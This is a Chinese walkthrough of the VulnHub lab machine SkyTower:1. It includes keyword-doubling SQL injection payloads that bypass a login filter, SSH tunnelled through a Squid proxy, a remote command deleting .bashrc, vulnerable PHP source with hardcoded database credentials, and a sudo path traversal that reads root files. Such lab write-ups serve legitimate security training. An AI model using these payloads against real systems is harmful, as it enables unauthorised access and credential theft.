【Vulnhub通关】SkyTower:1


准备工作

靶机基本信息

靶机名称:SkyTower 1

操作系统:Linux

虚拟机软件:VirtualBox (可手动转换)

网络连接方式:桥接至物理网络

渗透测试目标:获取靶机root权限并读取Flag文件

下载地址:1. SkyTower: 1 ~ VulnHub(VBox版)

2. SkyTower.7z_免费高速下载|百度网盘-分享无限制(推荐VMware版)

环境配置

将VMware版的虚拟机压缩包下载后解压,打开VMware Workstation,点击 主页 => 文件 => 打开,在弹出的文件选择窗口中选中SkyTower.ovf即可导入


准备工作

IP地址发现

在Kali Linux中,使用netdiscover工具进行主机发现:

shell 复制代码
netdiscover -r 192.168.2.0/24

如图,MAC设备名为VMware, Inc.的主机即为靶机,IP地址为192.168.2.129

防火墙探测

知道靶机的IP地址之后,我们对其进行防火墙信息收集。首先使用ping命令进行ICMP探测:

Text 复制代码
┌──(root㉿hacker)-[/home/hacker]
└─# ping -c 4 192.168.2.129
PING 192.168.2.129 (192.168.2.129) 56(84) bytes of data.
64 bytes from 192.168.2.129: icmp_seq=1 ttl=64 time=2.04 ms
64 bytes from 192.168.2.129: icmp_seq=2 ttl=64 time=1.00 ms
64 bytes from 192.168.2.129: icmp_seq=3 ttl=64 time=0.975 ms
64 bytes from 192.168.2.129: icmp_seq=4 ttl=64 time=0.980 ms

--- 192.168.2.129 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3005ms
rtt min/avg/max/mdev = 0.975/1.248/2.038/0.455 ms

看来攻击机和靶机的连通性正常。下面使用Nmap工具进行ACK扫描:

shell 复制代码
nmap -sA -T4 -p- 192.168.2.129

看来靶机上存在防火墙,而且22端口被过滤

网络服务扫描

知道了靶机的防火墙状态后,我们使用Nmap对其进行扫描:

shell 复制代码
nmap -sS -sV -A -p- -oN ./tcp_result.txt 192.168.2.129
端口 状态 传输层协议 应用层协议 详细信息
22 过滤 TCP SSH 未知
80 开启 TCP HTTP Apache httpd 2.2.22 ((Debian))
3128 开启 TCP HTTP-Proxy Squid http proxy 3.1.20

可以看到靶机原本开启了SSHHTTPHTTP应用层代理三个服务,但SSH服务的22端口被防火墙屏蔽了,这里合理怀疑是要我们通过HTTP代理服务来转发SSH连接请求

此外,还发现靶机的操作系统为Debian Linux,内核版本为Linux 3.2-3.16之间。


服务探测

Web应用程序(80端口)

打开浏览器,访问网址:http://192.168.2.129/

发现是一个登录框。查看网页源代码:

再次发现它仅仅是一个登录框......

除此之外还发现了关键词Skytech,尝试访问,报404

使用gobuster进行目录扫描:

shell 复制代码
gobuster dir -u http://192.168.2.129/ -w ./directory-list-1.0.txt -t 15 

(这里的字典为/usr/share/wordlists/dirbuster/directory-list-1.0.txt

结合以上信息,可以判断靶机Web服务存在以下目录和文件:

  • /index
  • /background     =>     登录页背景图
  • login.php      =>     登录页面

最后再来一波nikto漏洞扫描:

shell 复制代码
nikto -h http://192.168.2.129

从中可以得到以下关键信息:

  1. 靶机PHP的版本为PHP/5.4.4-14+deb7u9
  2. 靶机Web服务支持的HTTP请求头:OPTIONSGETHEADPOST

下面还是访问主页登录框,随便输入用户名和密码,使用BurpSuite抓取路由信息:

可以看到登录信息使用POST方法传递,email参数为用户邮箱信息,password为用户密码信息。

尝试在email参数后面加一个英文引号:

经典!!

发现SQL注入点:http://192.168.2.129/login.php [POST] email={INJECT}&password=password


渗透测试

确定SQL注入点之后,尝试使用sleep()函数 构造注入语句使程序暂停执行10秒。推测后台SQL语句如下:

SQL 复制代码
SELECT id FROM `tb_users` WHERE email = '/*{EMAIL}*/' AND password = '/*{PASS}*/'

尝试构造:Skytech'+or+sleep(10)#,但是or关键字似乎被删除了:

直接双写or关键字:Skytech'+oorr+sleep(10)#

成功!

不过后续尝试SQL报错注入时,发现连英文逗号什么的都被过滤了。。。算了,直接登录绕过。。

构造语句:'+oorr+true#

看来连布尔值也被删除了。。。继续双写绕过:Skytech'+oorr+trtrueue

绕过登录成功,也拿到了登录信息,不过这封信的内容属实非常逆天。。

登录信息如下:

  • 用户名:john
  • 密码:hereisjohn

不过要登录靶机的SSH,就必须通过3128端口的HTTP代理服务 来将我们的流量转发到靶机的22端口,而我们可以通过proxychains工具来转发SSH流量

编辑/etc/proxychains4.conf文件,在配置文件最后一行添加如下文本:

Text 复制代码
http         192.168.2.129 3128

连接SSH:

Text 复制代码
┌──(root㉿hacker)-[/home/hacker]
└─# proxychains ssh john@192.168.2.129
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
[proxychains] Strict chain  ...  192.168.2.129:3128  ...  192.168.2.129:22  ...  OK
The authenticity of host '192.168.2.129 (192.168.2.129)' can't be established.
ECDSA key fingerprint is SHA256:QYZqyNNW/Z81N86urjCUIrTBvJ06U9XDDzNv91DYaGc.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.2.129' (ECDSA) to the list of known hosts.
john@192.168.2.129's password: 
Linux SkyTower 3.2.0-4-amd64 #1 SMP Debian 3.2.54-2 x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Jun 20 07:41:08 2014

Funds have been withdrawn
Connection to 192.168.2.129 closed.

连接是连上了,但连上之后立马退出了。。。。

推测是~/.bashrc文件有问题,直接执行命令删除:

shell 复制代码
proxychains ssh -l john 192.168.2.129 'rm -rf ~/.bashrc'

再次尝试登录:

成功!!!

直接passwd改密码:

Text 复制代码
john@SkyTower:~$ passwd
Changing password for john.
(current) UNIX password: **********
Enter new UNIX password: *********
Retype new UNIX password: *********
passwd: password updated successfully

权限提升

本地信息收集

进入系统之后,首先使用LinPeas工具进行信息收集。

操作系统基本信息

CVE漏洞信息

主机进程信息

计划任务信息

系统用户信息

网站信息

特殊权限文件信息

经过整理,我们得出以下信息:

  1. 靶机操作系统为Debian Linux,内核版本为Linux version 3.2.0-4-amd64
  2. 系统Sudo版本为1.8.5p2
  3. 针对靶机操作系统,有内核漏洞可使用
  4. 靶机启动了MySQL服务,端口号为3306
  5. 靶机有4个高价值用户:rootjohnsarawilliam
  6. 靶机的网站绝对路径为/var/www/,网站中间件为Apache

经过分析,决定先从Web应用程序的源代码下手,找到数据库的登录信息。

登录数据库

我们首先查看/var/www/login.php的内容:

PHP 复制代码
<?php

$db = new mysqli('localhost', 'root', 'root', 'SkyTech');

if($db->connect_errno > 0){
    die('Unable to connect to database [' . $db->connect_error . ']');

}

$sqlinjection = array("SELECT", "TRUE", "FALSE", "--","OR", "=", ",", "AND", "NOT");
$email = str_ireplace($sqlinjection, "", $_POST['email']);
$password = str_ireplace($sqlinjection, "", $_POST['password']);
                                                                                                                                                                                
$sql= "SELECT * FROM login where email='".$email."' and password='".$password."';";                                                                                             
$result = $db->query($sql);                                                                                                                                                     
                                                                                                                                                                                
                                                                                                                                                                                
if(!$result)                                                                                                                                                                    
    die('There was an error running the query [' . $db->error . ']');                                                                                                           
if($result->num_rows==0)                                                                                                                                                        
    die('<br>Login Failed</br>');                                                                                                                                               
                                                                                                                                                                                
$row = $result->fetch_assoc();                                                                                                                                                  
                                                                                                                                                                                
echo "<HTML>";
echo '
      <div style="height:100%; width:100%;background-image:url(\'background.jpg\');
                                background-size:100%;
                                background-position:50% 50%;
                                background-repeat:no-repeat;">
      <div style="
                  padding-right:8px;  
                  padding-left:10px; 
                  padding-top: 10px;  
                  padding-bottom: 10px;  
                  background-color:white;     
                  border-color: #000000;
                  border-width: 5px;
                  border-style: solid;
                  width: 400px;
                  height:430px;
                  position:absolute;
                  top:50%;
                  left:50%;
                  margin-top:-215px; /* this is half the height of your div*/  
                  margin-left:-200px;
                                ">
        ';
echo "<br><strong><font size=4>Welcome ".$row["email"]."</font><br /> </br></strong>";
echo "As you may know, SkyTech has ceased all international operations.<br><br> To all our long term employees, we wish to convey our thanks for your dedication and hard work.<br><br><strong>Unfortunately, all international contracts, including yours have been terminated.</strong><br><br> The remainder of your contract and retirement fund, <strong>$2</strong> ,has been payed out in full to a secure account.  For security reasons, you must login to the SkyTech server via SSH to access the account details.<br><br><strong>Username: ".explode("@",$row["email"])[0]."</strong><br><strong>Password: ".$row["password"]."</strong>";
echo " <br><br> We wish you the best of luck in your future endeavors. <br> </div> </div>";
echo "</HTML>"

?>

程序首先创建了一个MySQL操作对象,随后定义了一个名为$sqlinjection的数组,里面存放了一些SQL关键字,接着接收$_POST数组中的用户名和密码,并将里面的关键字替换为空字符串后就带入了SQL查询中(漏洞点)。最后,在登录后的页面中,网页显示的SSH登录信息是从SkyTech数据库中查询出来的。也就是说,SkyTech数据库中存放着靶机用户的登录信息。

获取到了MySQL的登录信息:

  • 用户名:root
  • 密码:root

尝试登录:

成功!!

查看数据库中的用户密码信息:

SQL 复制代码
USE `SkyTech`;
SHOW TABLES;
SELECT * FROM `login`;

发现3组用户密码信息:

  • 用户名:john
  • 密码:hereisjohn
  • 用户名:sara

  • 密码:ihatethisjob

  • 用户名:william

  • 密码:senseable

Linux基础命令提权

我们登录到sara用户:

shell 复制代码
proxychains ssh -l sara 192.168.2.129 'rm -rf ~/.bashrc'
proxychains ssh sara@192.168.2.129

然后使用sudo -l查看用户权限:

发现该用户可以以root身份使用如下命令:

  • /bin/cat /accounts/*
  • /bin/ls /accounts/*

我们首先看看/account目录中的文件:

Text 复制代码
sara@SkyTower:~$ ls -lA /accounts
total 0

看来里面空无一物,但为什么靶机作者要设置这条命令?

突然想到了可以试试使用相对路径 ,去读取/root目录。

执行如下命令:

shell 复制代码
sudo ls /accounts/../root
sudo cat /accounts/../root/flag.txt

找到登录信息:

  • 用户名:root
  • 密码:theskytower

好好好,直接登录:

成功!!!!


Flag文件展示

文件名:flag.txt
文件大小:69.00 Bytes
MD5:f76468f696081898b2234f1d1bf99640
SHA256:5f2cbddc8b7c7f7476fe5d9ac0eb571dcf35bd3b7336c806273a801ad0ba5913

文件内容:


本次靶机渗透到此结束

相关推荐
小小工匠1 小时前
系统安全 - Linux /Docker 安全模型及实践
linux·安全·系统安全
网络研究院12 小时前
Android 安卓内存安全漏洞数量大幅下降的原因
android·安全·编程·安卓·内存·漏洞·技术
l1x1n017 小时前
No.2 笔记 | 网络安全攻防:PC、CS工具与移动应用分析
安全·web安全
醉颜凉19 小时前
银河麒麟桌面操作系统V10 SP1:取消安装应用的安全授权认证
运维·安全·操作系统·国产化·麒麟·kylin os·安全授权认证
小小工匠1 天前
Web安全 - 路径穿越(Path Traversal)
安全·web安全·路径穿越
不灭锦鲤1 天前
ssrf学习(ctfhub靶场)
网络·学习·安全
网络研究院1 天前
如何安全地大规模部署 GenAI 应用程序
网络·人工智能·安全·ai·部署·观点
DonciSacer1 天前
TryHackMe 第6天 | Web Fundamentals (一)
安全
云卓科技1 天前
无人机之数据提取篇
科技·安全·机器人·无人机·制造
山兔12 天前
工控安全防护机制与技术
安全